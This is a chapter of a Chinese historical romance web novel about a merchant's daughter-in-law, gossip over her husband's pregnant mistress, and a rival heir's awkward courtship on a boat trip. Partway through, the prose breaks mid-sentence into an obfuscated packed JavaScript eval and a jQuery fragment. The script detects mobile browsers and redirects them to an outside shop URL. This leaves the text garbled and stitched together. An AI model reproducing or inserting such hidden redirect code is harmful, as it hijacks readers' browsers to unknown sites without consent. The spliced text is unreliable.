庆阳的事情,并未给姜之唯的生活带来多大影响。比起没有名分的小妾,虚无缥缈的孩子,眼前的一切才是最重要的。
毕竟,现在蓝家上下能依靠的只有她了。
蓝夫人不会把自己打拼多年的基业,拱手送给庆阳。
姜之唯就这样平安无事地与庆阳相处着,转眼到了二月初二。
二月初二,龙抬头。按照老规矩,城中各家商铺的掌柜都要一起乘船到临城的寺庙祈福烧香,祈愿来年生意安稳、事业顺遂。
蓝夫人的身体已经好了很多,可以去参与祈福,可她偏偏将这个机会让给姜之唯,就连蓝若飞也一同劝她,让她答应了这事儿。
要是搁在以往,姜之唯可能会欣然应允。但是现在,她不得不多加猜疑。
究竟是因为觉得对不起她,还是要把蓝家的家业慢慢交给她?
站在船头,姜之唯眺望那些被行船慢慢丢在身后的风景,心情慢慢随着安定下来。
春天要到了,一个充满希望的季节又要来了。很快就要踏青了,希望到时候她能做好衣裳,开开心心得地去踏青。
水面有徐徐清风吹过,一股不知从哪里吹来的春风,携带几粒石子,吹到她的眼睛里。
姜之唯被迷了眼睛,生理性的泪水瞬间流了下来。
她赶忙掏出手帕擦拭眼泪,揉着被沙子硌得难受的眼眶。眼泪还在流着,姜之唯闭起眼睛,低头擦拭。
这样的动作在外人看来,她就是在扶着船头哭泣。
经过一个月的抗争,韦懿宸终于单方面取得了胜利。现在外人都知道,韦家大少爷重病,辛大夫正在细心照顾,家中生意大小事情,全都交给二少爷韦懿宸打理。
用真正的身份参与入会,看着众人一句句尊称“韦二少爷”,韦懿宸心中是满足的,还有一点点后悔,如果早一点,会不会一切都不一样的发展?
在这份懊恼满足的背后,韦懿宸偶尔会后悔。真的要抹去韦懿安的存在吗?
在他的计划中,韦家大少爷会重病缠身,然后被辛大夫带去求药,之后客死异乡。韦家所有的产业都会由他继承,成为名正言顺的家主。
已经扮演了这么多年,为什么不能再久一点?
吹面送来的微风,就像灶台的风箱,让他心头微小的火苗瞬间窜到天上去,剧烈燃烧着,蚕食他存在的理性。
他不知道自己该如何扑灭这团火,在床上跌跌撞撞地走着。终于他看到船头站着一个人,这个人的出现瞬间让风箱变成冰冷的铁锤,一锤一锤敲下去,瞬间让他所有不理智的情绪,慢慢回归理性。
韦懿宸平复了下心情,刚打算上前搭话,就看到姜之唯肩膀一抖一抖,帕子还在不停地抹眼睛。
这场面让他瞬间想起,母亲一次又一次思念兄长的时候,偷偷擦拭眼泪的模样。
那动作与姜之唯的一模一样。
她,是在流泪了吗?为什么流泪?
韦懿宸不由得想到刚才众人的闲谈。蓝君和闯祸了,外面的女人找上了门,还带着大肚子,看样子是要生了。
天下没有不透风的墙,也没有传不出去的家丑。就算蓝夫人她们有心遮掩,这事还是传扬出去了,只不过是商贾阶层,没有传到百姓耳中。
想起姜之唯对蓝君和的情根深种,韦懿宸控制住想上前质问的动作。
最终,看她擦了很久眼泪也不哭泣,心里想着姜之唯一定忍坏了,想让她发泄出来,不要憋坏了身子,就走了过去,“姜小姐,好久不见,你看起来变丑了些。”
“?”眼里的小沙粒终于揉出去了,姜之唯刚松口气,准备回房休息,就听到韦懿宸在嫌弃自己。姜之唯立马抬起头,不开心地看着韦懿宸,一双还挂着泪花的眼睛望向他,模样令人心软又怜惜,“韦少爷,真不巧,你怎么变丑了。”
哭泣的人,眼睛是红红的,鼻头也应该是红红的,声音是沙哑的。可眼前的姜之唯只有眼睛是红的,剩下两处没有一点变换,听着她中气十足的怼人语气,韦懿宸不禁笑出了声。
这一笑,直接让姜之唯摸不着头脑。用看傻子的眼神看着他,摆了摆手,表示不跟他计较了。
就在两人谈话的间隙,姜之唯眼神带着几分嫌弃地走了。韦懿宸留在原地傻笑,站在姜之唯刚离开的位置,看着水面傻笑。
突然,又一阵莫名其妙的风吹来了,韦懿宸也被迷了眼睛。眼泪流出,开始一边擦眼泪,一边揉沙子。
眼睛的不适感没有冲散韦懿宸心里的喜悦,他一边动作,一边在心里想:真好,她不是因为蓝君和在流泪。真好,她还不知道。
-
姜之唯不知道韦懿宸突然这样是怎么了,但莫名其妙被人说丑心里挺不爽的。
不开心的时候,感官就会被放大很多倍。也让她成功抓到有些掌柜在偷偷说她的闲话。
“你们在说什么,我能加入吗?”找到一个插话的合适时机,姜之唯端着一壶茶水,一边给人添茶,一边问。
这些平日威风惯了的掌柜,看到姜之唯突然出现,吓得魂都飞了。毕竟,姜之唯现在代表的可是蓝家,蓝夫人病了,不代表蓝家没落了,反倒在这位新少夫人的带领下,明显有蒸蒸日上的趋势。
谁都不愿意开口得罪人,捧着杯子,沉默看向彼此。
给众人全都添了茶水,姜之唯看他们还没有动作,心里翻腾着不耐烦,忍不住催促,“还不说吗?难道,你们刚才是在说我的坏话?”
“没有。”其中一位年纪稍轻的掌柜,扭过头陪笑,“只是一些见不得台面的荤段子,怕少夫人您听了污了耳朵。”
“哦?荤段子,在外行商有哪些东西是听不得、看不得的?掌柜的们不愿与我分享,莫不是嫌弃我是个女流,觉得不配与你们谈论相同的话题?”姜之唯皮笑肉不笑,眼里的威胁明显。
在蓝夫人和祖母刘玲,两位女掌柜的榜样示范下,这些年,有很多人家已经让女儿接手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877348|212142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家业、招赘女婿了。
现在船上就有很多掌柜是女子。
不敢得罪姜之唯,有些女掌柜更是得罪不了。几位掌柜着实不敢说,刚才谈论的内容,够姜之唯把他们铺子弄倒几百次了。
众人相互推诿。
终于,在姜之唯越发明显的不耐烦中,又是刚才那个掌柜站了出来,言明刚刚他们谈论的内容。
蓝君和庆阳的事情,竟然传得这么快?
早在自己知晓那天,姜之唯就已经做好事情败露的准备。从掌柜的话里,她了解到,这件事被传出去的时间更早,甚至最早传出去的消息,比蓝家人知道的还要早。
如果所有人都知道这消息了,那么,就只有自己一个人被瞒下了?
想到这个可怕的猜测,姜之唯忍不住冷笑,“你们慢慢喝,我先回去休息了。”
这莫名其妙、冷飕飕的一句,直接让掌柜们老实了。彼此大气都不敢喘,平时说一会儿就要吵起来的人,在剩下的路程上,竟然一句话都没吵,甚至在上香的时候都异常谦和。
如此和谐又诡异的一幕,看得众人有些心惊肉跳。
韦懿宸瞥了一眼让人惊悚的掌柜,追着姜之唯出去了,“姜小姐,船上的事情,我——”
“韦少爷,你要解释什么,我同你又不熟,跟我说这些做什么?”姜之唯还在记仇,刚准备离开。情急之下的韦懿宸,伸手直接抓住了她的胳膊,将人带到一边去。
走到无人处,韦懿宸才松开手,别扭地解释,“我当时以为,你是在为自己的夫君伤心,水上风大,我担心你坏了身子。蓝君和不是一个良配,他现在已经做错了,你有理由离开,为自己找一个更好的归处。”
“你的意思是,君和哥不适合我?”看着韦懿宸别扭地模样,姜之唯起了逗弄的心思,装作不解地问,“那谁合适我,你吗?”
韦懿宸默了默,点头道,“家事相貌我自认不比蓝君和差,而且我对待感情绝对一心一意,绝对不会作出他那样的事情。”
“所以,你也知道了?”姜之唯语气平淡,让人看不出喜怒。
韦懿宸沉默点头,“姜之唯,我知道你很喜欢他。但,旧的不去新的不来,这个不好,下一个就会好一些。”
“......”这是什么歪理邪说?看着韦懿宸正经的表情,姜之唯起了捉弄的心思,“下一个好一些,可是万一下一个还是做出同样的事情呢?”
韦懿宸:“继续换。”
姜之唯:“要是一直等不到呢?”
韦懿宸:“总会有的。”
姜之唯;“可那时候,要是我已经年老色衰了呢?”
韦懿宸咽了咽口水,终于下定决心,看向姜之唯,“我把我自己赔给你。”
姜之唯诧异,眼中慌乱快速闪过,旋即正色,“你决定赔,我还不一定要呢。韦少爷,我可是很挑剔的。”
韦懿宸低头与姜之唯对视,“我可以接受你的检查。”